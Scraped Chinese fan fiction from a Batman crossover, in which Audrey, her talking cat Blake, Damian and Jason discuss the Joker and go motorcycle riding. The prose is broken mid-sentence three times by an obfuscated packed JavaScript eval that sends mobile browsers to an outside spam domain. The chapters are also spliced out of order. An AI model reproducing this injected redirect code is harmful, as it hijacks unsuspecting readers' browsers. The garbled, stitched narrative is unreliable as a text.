在处理哥谭相关的事情上，布莱克受到奥德莉的影响，都是一样简单粗暴的思路：发现可疑线索——不经思考报告蝙蝠侠——后续听蝙蝠侠指挥。毕竟蝙蝠侠对哥谭最熟悉，这里是他照看了多年的城市，奥德莉不认为自己有资格越俎代庖。而且根据她从报纸上看到的新闻，小丑邪恶得超乎想象，她能尽力不给蝙蝠侠拖后腿就行了。 带着这种躺平心态，奥德莉把布莱克观察到的信息告诉了达米安，达米安立刻回复，表示他们会密切关注这件事。 从黑猫形态恢复后，达米安在给奥德莉发信息的时候，总是在最后附带一只小小猫爪图案。布莱克第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436083|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到，又开始吐槽那个猫爪的肉垫颜色不对：“他凭什么发粉色肉垫图案，我刚才已经看过了，黑猫-达米安的肉垫不是粉色的。”布莱克伸出自己的肉垫给奥德莉看：“我的才是粉色的，他这是侵权。” “你可以将其理解为对美好事物的向往。”奥德莉开始胡说八道，“他希望拥有像你这样的肉垫，可惜没有，于是发个图案自我安慰。” 布莱克满意了，舔舔自己的珍贵猫爪，然后开始讨论深沉的话题：“为什么小丑能活到现在？” “因为蝙蝠侠不杀人。”奥德莉抢答。 “我知道蝙蝠侠的不杀原则。但是小丑害死了许多无辜的人，为什么没有受害者的家人去报复他？他对人命的态度非常儿戏，每次都随手害死一些人，就像呼吸空气一样毫不在意。而且他被关在阿卡姆，生活上没有受什么磋磨，我要是家人看到一定气死了。” “这一点我也感觉蛮奇怪的，阿卡姆的安保措施主要是对内的，防范这些病人暴动或是逃跑。但对于外界访客，其实安检措施并不算严密。而且哥谭人又不是那种好脾气的性格，这么多年来竟然没有人试图去杀掉小丑，确实不可思议。” “如果你看到有人刺杀小丑，千万不要去保护他，倒是可以给小丑暗中补一刀。”布莱克甚至出这种主意，可见小丑给它留下的印象是多么糟糕。 奥德莉比了一个“嘘”的手势，说：“低调行事。”她和布莱克的想法一致，不过如果蝙蝠侠在场的话，她还是要演一演的，毕竟要维护自己在偶像面前的形象嘛。她一定会努力演出拼命营救但未能成功的心碎。 一人一猫又一次对视着，露出邪恶的笑容。 “怎么感觉我们像是大反派。”奥德莉觉得怪怪的，“我们明明是正义的一方啊。” “可能因为这个时间段，凌晨五点多，讨论什么事情都像是在密谋。”布莱克也有奇怪的感觉。“哥谭真的锤炼人，也锤炼猫。来这里之前，我还是一只单纯的小猫咪。” “如果这次能提前阻止小丑的阴谋，你就又立大功了。”奥德莉吹嘘道。“就算他没有阴谋，让蝙蝠侠去打他一顿也挺好的。我觉得应该建议蝙蝠侠时不时去给小丑上一节体能课，免得他以为蝙蝠侠顾不上他，还有心思搞东搞西的。” “可惜蝙蝠侠看不到我，不然我一定要和他比试一下，看看谁才是哥谭第一侦探。”布莱克不知天高地厚地攀比起来，还贷款吹嘘自己的成就。“这一次我有勇有谋，及时挫败了小丑的大阴谋，拯救哥谭市于无形……” 奥德莉一忍再忍，忍无可忍，捏住布莱克的猫嘴：“我尝试了，但是真的听不下去了。请你清醒一点。” “喵呜喵呜。”布莱克挣扎着，“我不能有梦想吗？” “你的梦想能现实一点吗？”奥德莉无语。“这个也太离谱了一点。” 46.第 46 章 下班时，奥德莉迎来了一位意料之外的访客。来人靠在一辆重型摩托上，身材健硕高大，正是化名为杰·莱德的杰森·陶德。 “嗨，奥德莉，能请你去食堂吃个晚饭吗？”杰森礼貌邀请。 “你怎么来了？儿童福利院那边出什么状况了吗？我漏接了你的电话？”奥德莉急忙去翻手机，却没看到错过的信息。 “没什么，来这边办点事。上次还没好好谢谢你，就想借机请你吃个饭。” “这里的食堂对员工免费，你知道吧？”奥德莉第一次遇到这么小气的有钱人，布莱克可是已经告诉她了，对方是冰山餐厅的老板。 杰森被这么一问，也意识到自己的安排听起来像是一个毫无诚意的、为了省钱的鬼点子。他尴尬地挠挠头，奥德莉也跟着尴尬，赶紧说：“我开玩笑的。我就喜欢阿卡姆的食堂，你要是骑车带我去市区……” 奥德莉本来想说“要是骑车带我去市区，我也会婉拒”，但看了看眼前这辆极其重工、极其炫酷的摩托车，她咽了咽口水，生怕说出拒绝的话伤了这辆摩托的心。 杰森很喜欢看别人对自己的爱车投以羡慕和赞美的眼神，主动邀请道：“饭后我可以载你兜一圈。” “啊，不是借给我骑一圈啊？”奥德莉失望地说。 “除了我之外，没有人能驾驶我的小美。”杰森斩钉截铁地说，一副“头可断、血可流、爱车绝不外借”的态度。 “可以理解，如果我有这么酷的摩托，我也不会舍得借给别人。”眼看气氛又陷入尴尬，奥德莉反省自己的要求实在是太冒昧了，赶紧出言缓和。 杰森也意识到自己的态度过于生硬，干笑几声，将摩托停到路旁，和奥德莉一起朝食堂走去。 “我刚来的时候，有人告诉我一定要试试意大利面，不知道你是否尝过。真的很好吃。”奥德莉推荐道。 两人今天的对话总是跑偏，杰森正努力想把话题拉回正轨，恰好他对美食很有心得，闻言便应和道：“我吃过，的确不错。甜品也都做得很好。厨师长是个意大利人，不过并不守旧，很乐意对菜色创新。” “难怪我刚来的时候吃到过夏威夷口味的那不勒斯披萨，当时感觉很震撼，是我吃过最好吃的披萨。” 杰森将奥德莉领到餐厅的角落坐下，奥德莉觉得他一定是有话想说，也不催促，回应着杰森的东拉西扯。杰森问奥德莉在阿卡姆的实习经历，和病人的相处，平时闲暇干点什么，奥德莉都一一答了。 ——直到奥德莉的耐心被耗尽。 眼看食堂里的人越来越少，奥德莉终于忍不住压低声音问：“你今天来找我到底是想问什么？周围没人了，你可以说了。” 杰森还在那里不说正题，奥德莉紧张起来，最后严肃地问：“你不是要找我借钱吧？” 沉默是今晚的阿卡姆食堂。 “呃，不是。”杰森立刻否认。 “还是你需要我也离开，才能说出口？”奥德莉打趣地指指周围的空座位。 “我今天去看了小丑。”杰森开了头，感觉后面的话就顺畅了。“有人帮他修改了前两天的监控，蝙蝠侠没有及时收到提示。我听说你向蝙蝠侠提出示警。” “那你今天去找他，不会打草惊蛇吗？”奥德莉担忧。 “我今天不来才会。”对上奥德莉不解的目光，杰森解释说：“我每个月都会来看他一次，好吧，揍他一次。” “我会保密的。”奥德莉严肃地说。“而且我的实习到月底就结束了。” 杰森扯了扯嘴角，露出一个有点勉强的笑，然后说：“我知道小丑不是你的病人之一，所以我很好奇，你为什么会知道他的动向。” “我没办法解释。”奥德莉坦然地看着杰森。“不过如果你信任达米安，那在这件事情上你也可以信任我。我不是小丑那一边的。” “我相信你。”杰森说。“我猜测这大概是你的秘密，但还是想亲自问一下。也想说一声谢谢。” “小丑他是不是……伤害过你的亲人？”奥德莉犹豫着问。“我不会告诉别人你今天来找我，达米安我也不会说的。” “没关系，不用瞒着他。”杰森顿了顿，“小丑他曾经杀死过我。” 奥德莉张了张嘴，大脑尚且在“节哀”和“恭喜复活”中纠结，杰森抢先说：“不过杀死我的不是这个小丑，从□□上来说不是。但是他有前任小丑的记忆，哲学意义上来讲，他们也算是一个人。” “非哲学意义上呢，该怎么理解？”奥德莉真的怀疑别人都进化过，但是忘记告诉她了。不然为什么复活、记忆继承这些听起来像是理所当然的事情，她一个都不会啊。 “你有没有好奇过，以哥谭人民的充沛武德，为什么没有人刺杀过小丑？”杰森先提出一个问题。 “有，昨天刚思考过这个问题。不过没有想出答案。”奥德莉老老实实地说。 “其实是有人刺杀过的，而且成功了。”杰森平静地说出这个鲜为人知的秘密。“第一任小丑声称自己是因为生活中的不顺意而走上犯罪道路。但谁的生活总是一帆风顺的？他只不过是为自己的行为寻找一个理由而已。” 奥德莉点点头，杰森又继续下去：“他害死了许多人，但是哥谭的法律却只判处他在阿卡姆接受治疗。受害者中有一个五岁的女孩，她还处于天真懵懂的阶段，却被小丑漫不经心地杀掉了，只是因为他在强迫路人观看他的表演时，她没有按照他的要求及时笑出来。” “她的父母一定心碎欲绝。” “她的母亲不久后就去世了，父亲以清洁工的身份进入阿卡姆，杀死了小丑。蝙蝠侠感到的时候，小丑的尸体已经几乎被剁碎了。” “然后呢？”奥德莉不自觉地屏住了呼吸。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442411|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小丑的人类本体其实只是个普通人，他在融合了哥谭的罪恶因子之后诞生。而罪恶是不会死亡的。” “罪恶因子选择了下一任宿主，也就是那位父亲？”奥德莉明白了。 “正是如此，屠龙者终成恶龙。”杰森叹息。“自此之后，蝙蝠侠便加强了对小丑的安保措施。在那之前，他其实有一点放任自流的意思，他一贯对别人的同态复仇都很宽容。” 杰森又低声说：“老头子还当我不知道，哼，我早就发现了。幸好我以为是陷阱没有去，不然这一任小丑可能就是我了。”奥德莉能听出他的抱怨里带着亲昵和喜爱。 “那有没有办法在小丑死后将罪恶因子收集起来，避免扩散呢？”奥德莉脑洞大开。“不过我想蝙蝠侠一定已经想到这一点了，而且他一定有更多预案。” 杰森听着奥德莉无缝衔接地开始吹蝙蝠侠，有点无语。他已经听说奥德莉是蝙蝠侠的狂热粉丝了，但亲眼看到总归是更惊奇。 “现在的小丑有以前的记忆，所以我仍然将他视为我的仇敌。但他的身体也是小丑的受害者之一，每次打他的时候我都有点于心不忍。”杰森强行转换话题。 这也是他为什么还定期坚持来揍小丑的原因。他又不是施虐狂，坚持这么做纯粹是为了给自己脱敏。好在小丑化的妆越来越浓，越来越难看出原本的五官相貌，他的心理负担也就没那么重了。 “确实。不过我想从那位父亲的角度来说，也会很乐意看到小丑遭罪吧。”奥德莉安慰道。 “如果有一天哥谭解决了小丑的问题，大概哥谭的所有犯罪问题也都能够被解决吧。”杰森感叹，然后又很有本地人荣誉感地补充：“不过你知道吗，哥谭每年的非正常死亡人数其实比纽约低。” “几乎每个哥谭人发现我来自纽约之后，都对我说过这句话。”奥德莉其实感觉到的更多是好笑，但故意夸张地翻个白眼。“你们哥谭人要不要这么有攀比心。而且纽约人口可是哥谭的好几倍。” “那你们纽约的医院还更多呢，医生的履历也更厉害，医疗条件远超哥谭。”杰森反驳道。 “但是哥谭医院的枪伤治疗是全美第一。”奥德莉也有数据反驳。“最新排名赢了霍普金斯医学院。” “好吧。”杰森发现两人的城市荣誉感都很强烈，在越说越上头之前悬崖勒马。“这次是我的问题，我又扯远了。” 奥德莉也有点不好意思：“我对哥谭没有意见，这次实习住下来，感觉哥谭挺好的。” “如果是十年前，哥谭可能没有这么好。韦恩集团长久付出的成果终于有所体现了。” “也多亏了蝙蝠侠的多年付出，这是他和韦恩先生的共同成果。”奥德莉补充。“韦恩集团在蝙蝠侠出现之前也一直积极投身慈善事业，但效果甚微。” 杰森瞪着奥德莉，瞪了足足三秒，然后说：“你说的对。” 47.第 47 章 在被食堂员工清场之前，杰森和奥德莉很自觉地离开了食堂。奥德莉羡慕地看着杰森骑上摩托潇洒离去的背影，布莱克跳到她的肩膀上，说：“这个人好复杂啊。” “为什么忽然有这个感慨？”奥德莉摸摸布莱克的头。杰森今晚讲了很多，布莱克听得入神，一直趴在奥德莉的腿上，没有中途跑开。 “他死而复生过！”布莱克说，一副很佩服的样子。“但是他那么轻描淡写，云淡风轻，好有大佬气质啊。” “所以你觉得他很酷？”奥德莉笑起来。“你是不是也想做个猫中大佬？” “我是觉得他接受了痛苦，并且与之共存。他没有忘记过去，但勇敢地开启了未来。”布莱克很深沉地总结，“这种气质和我很像。” “呃……我相信你的判断。”奥德莉对这只为赋新词强说愁的小猫咪无话可说，万一布莱克真的也有什么深藏不露的伤心经历呢。 “虽然我没有他的沧桑经历，但我天生就有那种阅尽千帆的气质。”下一秒布莱克就不打自招，暴露了它浅薄的过去。“所以我比他更厉害。哎，但我的起点太高了，这样的话成长空间就会比较有限。” 奥德莉能说什么呢，她只能希望回到纽约之后，布莱克的症状能减轻一点。哥谭，尤其是阿卡姆，大佬密度太高，连猫咪都迷失自我了。 “小丑的情况也很令人唏嘘。”吹嘘完自己，布莱克又开始关心天下大事。“他也真是个大麻烦。” “是啊，他与罪恶一样，无法被永远杀死。”奥德莉叹息。 “达米安今天怎么没联系你？”布莱克要操心的事情实在太多。“你记得提醒他不许再用任何猫咪相关的表情包了。” “我今天早上才刚刚联系过他啊。”奥德莉说，捏捏布莱克的耳朵，“我还挺喜欢那个猫爪表情的。” “你可以用，我批准了。”布莱克大方地说。“因为你是我最喜欢的人类。” “谢谢你的厚爱。” 奥德莉笑起来，“那能不能请你也批准达米安在和我聊天的时候用？这样的真正受益人是我呀，我一看到黑猫相关的表情就会很开心，因为会想到你。” 布莱克深思熟虑了一番，同意了。 达米安很忙，不过在收到杰森信息的时候还是抽空点开看了。 【友情提示：奥德莉很喜欢摩托，你可以送她一辆。】 “什么意思？”达米安选择直接语音通话。 杰森把自己和奥德莉的会面简单讲了讲，然后说到奥德莉对自己爱车的觊觎眼神，最后补充道：“我倒不是怕她来偷我的摩托，也不是怕她让你来偷我的摩托，我知道她不是那种人。” “你以为谁都像你一样？”杰森越是强调，达米安越觉得他是在不打自招。“不过谢谢你告诉我。” “或者你可以考虑开蝙蝠车带她兜风。”杰森又冒出一个能让蝙蝠侠生气的好主意。 “然后告诉你停车地点，方便你卸个轮胎？不用了，谢谢。”达米安说。他回忆了一下，奥德莉似乎从未对蝙蝠车表达过向往，但也可能是因为她还没见过蝙蝠车。没有人会不爱蝙蝠车。 或者让奥德莉骑一次蝙蝠摩托，她一定会很高兴。行动力超强的达米安立刻挂断杰森的电话，给奥德莉发信息。 “连个再见都没有。”杰森哼了一声，去巡查自己的产业了。 “达米安让我晚上十点去找韦恩庄园找他，说是夜巡前给我准备了一个惊喜。”奥德莉忍不住开始猜测到底是什么惊喜。“不会是放烟花吧？” “听起来太老土了。”布莱克说。“而且太少女了，看不出来达米安是这种人。” “或者，”奥德莉忽然心跳加速起来，“会不会是蝙蝠侠知道我的实习快结束了，想带我去夜巡一次？那我明天上班打瞌睡怎么办？” “你可以拒绝蝙蝠侠的邀请。”布莱克斜眼看她，绿眼睛里带着了然。 “那怎么行？蝙蝠侠一定是需要我帮忙，那我义不容辞。没事，通宵一次没什么，我可以靠咖啡支撑。”正如布莱克所料，奥德莉精神抖擞，干劲十足。“我应该带点什么呢？” “带上我。”布莱克说。 “你是必需品。”奥德莉抱住布莱克，对它委以重任。“请帮我时刻关注蝙蝠侠的表情。如果我哪里做得不好，你要赶紧提醒我。” “这有点难度。”布莱克圆圆的猫脸上满是苦恼，“他的面具太严实了。” “微表情！”奥德莉说。“观察他的下巴。” “那我坐到他的肩膀上，近距离观察。”布莱克提议。 “好主意。” “达米安少爷，您确定这是个好主意吗？”阿尔弗雷德按照达米安的要求为奥德莉准备了摩托头盔。“这辆摩托并非为载人而设计，尤其是您这样体积的乘客。” “总不能让奥德莉一个人去飙车吧。”达米安说。 “或者谁都不去飙车呢？”阿尔弗雷德说。“这项活动安排对我的心脏很不友好。” “奥德莉肯定会遵守限速的，不用担心。”达米安不在意地说。 “遵守道路限速还是这辆摩托车的最高时速？”阿尔弗雷德犀利地问。“而且奥德莉小姐没有摩托车驾照吧。” “摩托车需要驾照吗？”达米安吃惊。 “这是人工控制装置，您拿好，以防万一。”阿尔弗雷德将一个遥控器大小的物品交给达米安。“我也会密切关注，在需要时远程接管。” “好吧，如果这样能让你安心一点的话。”达米安答应了。 “阿尔弗雷德，达米安，晚上好。”奥德莉出现了，穿着一身黑色衣服，脸上还戴了一副黑色口罩。她的长发在脑后扎成高马尾，出现时发梢微微摇动，暴露了她激动的心情。 “奥德莉小姐，祝您今晚玩得开心。”阿尔弗雷德离开了，没有意识到自己的话对奥德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448049|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉造成的误解。 “天啊，我简直不敢相信。”奥德莉语无伦次地说，“是不是你帮忙向蝙蝠侠申请的？我只是提供了微不足道的信息，蝙蝠侠不必这么客气的。” “你在说什么？”达米安微微蹙眉。他发现奥德莉根本没注意到两人身旁的重型摩托，她的注意力完全在周围的夜色中，仿佛在期待什么事物会突然冒出来。 “蝙蝠侠什么时候到？还是我们去市区和他碰头？”奥德莉问。 “蝙蝠侠？”达米安奇怪地说，“他先去夜巡了，我等下去找他。” “你？不是‘我们’吗？”奥德莉诧异。 两人鸡同鸭讲了一会儿，达米安才发现奥德莉的误会。对上奥德莉亮晶晶的期待眼神，达米安一时语塞。奥德莉意识到了不对，说：“是不是我误解了……” “我是想邀请你来骑蝙蝠摩托在附近兜兜风。”达米安本来以为自己准备了一个大惊喜，此刻却变成了大失望。 奥德莉冷静下来想一想，自己之前是想太多了。她看看达米安不自觉抿紧的嘴角，急忙调整心情，摘下口罩欢快地说：“你怎么知道我想骑摩托？是不是杰告诉你的？” “就是他。”达米安冷冷地说。 奥德莉凑到蝙蝠摩托旁边仔细看了一圈，小心翼翼地四处摸摸：“这辆比杰的那辆可酷多了。蝙蝠摩托，嘿嘿，摩托车中的战斗机。” 达米安被奥德莉故意夸张的样子逗笑了。 “悄悄告诉你，其实我没有驾照。”奥德莉视察完毕，跑回达米安旁边，压低了声音，“不过哈利有一辆，聚会的时候我们在他家都骑过，但是没有去过外面的马路。” “哦。”达米安双手环在胸前。“那你会骑吗？我还想着由你来驾驶，带着我兜风呢。” 奥德莉戳戳达米安：“你快来教我吧，这辆车的按钮多到眼花缭乱，我一个人可研究不明白。” 奥德莉的热切态度毫不作伪，达米安也被她的情绪感染得不再低落，耐心地讲解起来。奥德莉很有天分，很快熟练掌握了驾驶技巧，在小范围地绕了几圈后，她停到达米安面前，抬起头盔面罩，笑眯眯地邀请说：“快上车，姐姐带你飞。” 月色下，达米安的脸红并不明显。他也戴上头盔，坐到奥德莉身后，手虚虚地搭在她的腰间，说：“我坐好了。” “出发！”奥德莉欢呼一声，风驰电掣般加速。韦恩庄园后面人迹罕至，她可以完全自由地狂飙。 “加速！加速！”布莱克坐在摩托最前面，身上的毛都被吹得贴在身上，激动地大声喊着。 “不要再加速了！”达米安发现奥德莉的速度越来越快，赶紧提醒。 “这里没有限速标志，”奥德莉说。“如果你感觉害怕的话，就闭上眼睛。” 达米安气得瞪大了一双绿眼睛：“我才不会害怕。” “是吗？那我继续加速啦！”奥德莉开心地说。 25-30 第25章 “好了，我已经回答过你的问题了。现在告诉我你的决定吧。”“我想…… “好了,我已经回答过你的问题了。现在告诉我你的决定吧。” “我想我的答案可能会令您失望。”奥德莉说。 “为什么？”苏洛恰那露出真实的惊讶，完全没料到奥德莉会拒绝一个内容简单又报酬丰厚的任务。 “我相信您可以找到其他合适的人来做这件事。”奥德莉不想和苏洛恰那起冲突，谁知道她有什么手段,人在屋檐下,自然是安全第一。“您已经掌握最关键的仪式路径了。” “你以为穿越的关键是仪式路径？”苏洛恰那摇摇头,“只有符合唯一性的人，才能完成仪式。不符合唯一性的人，只能跟随前者而行。” 【在任何世界都没有见到我。我是独一的,不可同时存在复数个。】 奥德莉立刻想起羊皮卷上的这句话。她确认道：“您说的唯一性，是指在其它世界中没有同位体吗？” “正是如此。必须是在其它任何一个世界中都没有同位体才行。这样的人并不常见。” 奥德莉点点头：“谢谢您的耐心解答。但是非常抱歉，我的答案仍然是不。” “看在我知无不言的份上，我想我值得一个真正的理由。”苏洛恰那不肯放弃,想弄明白她拒绝的原因,以便给出更令人心动的条件。 “我没有资格也无意对您进行道德评判，”奥德莉只好先给出一个半真半假的理由：“但在哥谭这么做,您不怕蝙蝠侠找上门吗？” “如今穿越难道也成了犯罪吗？如果您担心的是这个，您完全可以去其它地方举行仪式。” “首先，蝙蝠侠的管辖权是整个地球。”先维护一下蝙蝠侠的执法权限和范围,奥德莉又进一步说明：“我是指您购买寿命这件事,这应该算是犯罪吧。” “这一点可没写进刑法里。”苏洛恰那反驳道。 好有道理。但那只是因为立法者想不到还有人能这么做吧。 “您可以在蝙蝠侠前来拜访的时候把这个辩护理由告诉他。”说不定他能为你紧急立法，就叫苏洛恰那法案。 “这点小事还不至于吸引到蝙蝠侠吧。哥谭的黑/帮难道都被他铲除了吗？再说，我会付钱的，很多钱。” “您认为为某样事物付钱就等于是公平交易吗？”奥德莉被她的态度激怒了。她会确保这件事被蝙蝠侠发现的，等她离开这里就去告状,让蝙蝠侠在俱乐部安装一百个监视器。 “世上本来就处处是不公平,有些人天生健康，无病无灾活到百岁,有些人生而残疾，不得不费力地活下去。你觉得这是公平吗？” “那是超出我管辖范畴的事情，”奥德莉不想和她纠结哲学问题，她只是人，不是命运女神。“但您要做的事情，我不应该也不会参与进去。” “哪怕我请求您帮忙，您也不肯吗？”苏洛恰那露出楚楚可怜的神色，“我只是想活下去，这有什么错吗？” “这不是您一个人的事情。还涉及出售寿命的人。”奥德莉冷冷地说。 “他们是自愿的。”苏洛恰那不在意地说。 “就像走投无路的人出卖器官那种自愿吗？就像女性被家人施加压力而去代孕赚钱的那种自愿吗？”奥德莉站起身，“不好意思，我帮不了您。” “所以您自诩是执行正义之人？” “并非如此。我能力有限，无法执行正义，但我也不会助长邪恶。” 彻底撕破脸后，苏洛恰那的笑容消失了，她轻声问：“你不害怕我吗？” “我认为您足够理智，不会想与密大为敌。”奥德莉虚张声势。 “呵，你觉得密大是圣洁纯粹之地吗？” “不，我没那么天真，我知道世上没有那种地方。但至少在密大，没有人来请我帮这种忙。”奥德莉说。 “好吧，我确实对密大心存顾忌，不会伤害您。”苏洛恰那爽快地承认了。“但是您的男朋友只是一个凡人吧。他可没有密大的庇护。” “他是个未成年人！”奥德莉大怒，“而且他不是我的男朋友。” “如果你不喜欢他，为什么先强调他的年龄，然后才否定你们的关系？”苏洛恰那露出看穿一切的眼神。 “因为我想提醒你，对未成年人下手罪加一等。”奥德莉给她一个白眼，气到极点反而冷静下来。 达米安可不是普通人，他是罗宾，还是个韦恩。如果苏洛恰那想伤害达米安，且不说她是否能做到，毕竟罗宾的战斗力很强；如果她真的做到了的话，那她将面临蝙蝠侠和韦恩先生的双重打击，那场面一定很美。 我要不要鼓动她一下？奥德莉邪恶地冒出一点小期待，但心理斗争了一会儿，还是觉得不能这么坑达米安。 “离他远一点。别说我没有警告过您。”奥德莉说完这句话，立刻离开了。 回到座位时，奥德莉的脸颊仍然因争吵和愤怒而晕红。布莱克担心地扑过去，用爪子摸摸她的头。 达米安也发现奥德莉的情绪不对，问她：“你被欺负了？” “我觉得我暂时赢了。”奥德莉说。“但对方可能不会善罢甘休。” “发生了什么？” “我们出去再说。”奥德莉端起桌上的茶水一饮而尽，然后快步朝外走去。 上车后，达米安又一次问：“发生了什么？” “我需要找蝙蝠侠。”奥德莉说。“我知道韦恩先生是蝙蝠侠的赞助人，你能帮忙联系到他吗？我有很重要的事情要告诉他。” 看到她严肃的表情，达米安立刻调转车头方向：“我们去韦恩庄园。”他又拨通庄园的电话，将奥德莉的要求告诉阿尔弗雷德，万能管家会安排好一切。 再一次踏足韦恩庄园，看到与维多利亚时期别无二致的庄园，以及永远优雅沉稳的阿尔弗雷德，奥德莉忽然放松下来。 蝙蝠侠提前赶回庄园，以客人身份拜访。达米安见奥德莉没有要求自己离开，便坐在一旁不动。 “我今天被人威胁了。”奥德莉先给事情定性，然后把自己和苏洛恰那的对话讲了一遍。“我担心她还会想办法找其他人。大限将至，她做出任何疯狂的事情都不奇怪。” “我会关注此事。”蝙蝠侠说。 “有什么需要帮忙的，您知道去哪里找我。”奥德莉自告奋勇，又坏心眼地说：“她还用达米安威胁我，您看是不是应该给他加强安保？” 为了维持人设，达米安只能生闷气。 说完正事，达米安开车把奥德莉送回阿卡姆，之后他还得再开车回韦恩庄园。不过他获得了和奥德莉的相处时间，也许距离找回记忆又近了一步，而奥德莉则是纯粹地被浪费了时间。 路上，达米安问奥德莉：“你说的无形之术那些，就像是魔法一样吗？” 好想揭穿他的罗宾身份，这样演下去好累。奥德莉觉得这比和苏洛恰那吵架还累。虽然她也曾经单方面知道彼得的秘密身份，但是她不需要和彼得的两个身份分别相处啊。 “你可以这么理解，”奥德莉简单讲了讲密大的教学内容。 “那你们是不是也能催眠？”达米安状似无意地问，“或者让人记忆混淆？” 还没等奥德莉回答，布莱克已经炸毛了，半个身子探出去要跳车。她急忙安抚这只可怜的小猫咪，提醒它两件事，首先，达米安看不见它，其次，达米安不知道它做了什么。 见奥德莉沉默，达米安以为她不想多说，便换了话题：“你和老板吵起来了，明天想必不会再去那里。明晚你想做什么？” “我想休息……”奥德莉诧异地看他一眼。白天上班、晚上观舞的日子连续过了几天，她需要补补觉。原本支撑她坚持的是希望能看到苏洛恰那的表演，没想到事态发展如脱缰野马。 “那后天晚上呢？”达米安仿佛听不懂拒绝。 “你每天这么闲吗？”奥德莉问。“你要不要预习一下下学期的功课？” 达米安没忍住翻了个白眼：“我即将入读大学，还没想好专业。而且大学课程那么简单，有什么必要预习。” “你去哪所大学？等等让我先猜一下，是哥谭大学吧。” “没错。”达米安有点惊讶。一般人都会猜他去的是哈佛，因为他是校友之子，家里又能随便捐几栋楼。当听说他去的是哥谭大学时，亲近一些的人通常会委婉劝说韦恩先生，让他不要为小儿子的教育吝啬钱财。哥谭大学在本地算是不错，但它可不是常春藤。 对于达米安而言，去哪所大学都没有区别，因为他并不需要真的从大学里学什么知识，他只是需要一个大学生的名头，否则韦恩家会沦为哥谭笑柄。而天天从波士顿坐直升飞机回哥谭夜巡，即使是他也会觉得太离谱了。 真是爱岗敬业的好罗宾。见自己猜得没错，奥德莉忍不住为他浪费掉的时间感到可惜。她很愿意配合蝙蝠侠的调查，但达米安在过去几天的行为让她觉得对方可能真的是为了完成哈利的委托而来：“接下来几个晚上我不打算出门了。等我休息好了，我再联系你。” “好吧。”达米安只好答应。 第26章 没有出行安排的夜晚是多么闲适啊。奥德莉先在食堂吃晚餐，顺便和医…… 没有出行安排的夜晚是多么闲适啊。 奥德莉先在食堂吃晚餐,顺便和医生护士们聊八卦。饭后她去花园散步，发现竟然有人闲到这种地步，手动将那些假花调整形态,由前几日的半开变成全部绽放。 阿卡姆不会专门雇一个园丁干这事吧？还是哪个病人太无聊了？奥德莉欣赏了一会儿,手机忽然响了,是格温打电话给她。 “奥德莉，哈利这几天联系过你吗？” “没有。自从他回纽约和你们小聚，没再听到他的消息。我以为他是回英国之后太忙了。”如果哈利在学期中离校几天,回学校就需要狂补落下的作业，这种事情发生过几次。 “希望是这样。因为上次聚会的时候，我感觉他的情绪不太对。” “你也这么觉得？”奥德莉悚然一惊，“我觉得他忽然来哥谭,又去纽约,整个行程都很奇怪。” “像是在……告别一样？”格温迟疑着说。 “如果发生那么大的事情，他为什么一点也没告诉我们？” “也许发生的事情令他过于难以承受,他没有勇气说出来。” “我正在查奥斯本集团的新闻，看起来一切正常。”奥德莉先看财经新闻，又去看八卦网站,没有找到任何蛛丝马迹。 “会不会和他家里无关,是他个人的事？”格温猜测。“我宁可他事后笑话我们小题大做，也不想在将来后悔我们没有及时帮上忙。” “我同意。你给他打过电话了吗？”奥德莉问。 “昨天和今天都试过，没人接。我还发了几条短信。” “他在纽约的家呢？”* “彼得去过了，奥斯本先生在家，他压根不知道哈利回过纽约。” “那奥斯本先生要报警吗？” “他说不用管,他和哈利经常十几天没有联系。”格温忿忿不平地说。 “那我们如果去报警,警察可能也不会受理。”奥德莉也对哈利父亲的做法很不满。 “彼得觉得奥斯本先生一定知道什么，今天就开始去跟踪他了。”格温忽然压低了声音,虽然她正独自坐在自己的卧室，“他还请斯塔克先生帮忙调查。” 好有行动力啊！奥德莉相信彼得的直觉，很欣赏彼得说干就干的劲头，叮嘱道：“有消息随时联系我。我也想一想是否有其他办法。” 挂断电话，奥德莉做了几个深呼吸，假装自己正身处天然氧吧，用并不存在的植物释放的虚拟氧气缓解焦虑。 哈利应该不会是躲起来不见人，或者自杀，他不是这种性格。 他是在纽约见过朋友之后失联的，那意味着他可能已经失踪一周了。 哈利有什么仇人吗？奥德莉一时想不到。哈利如果知道的话，肯定会告诉他们的。但有时候仇人的诞生非常莫名其妙，发生在当事人都不知道的时刻。他太有钱了，他太帅了，或者任何可笑的原因，都可能成为起杀心的源头。 或者是奥斯本先生有私生子，为了除掉竞争对手？哦不对，这更像是如果拍摄一部《与韦恩家同行》其中可能出现的剧情。 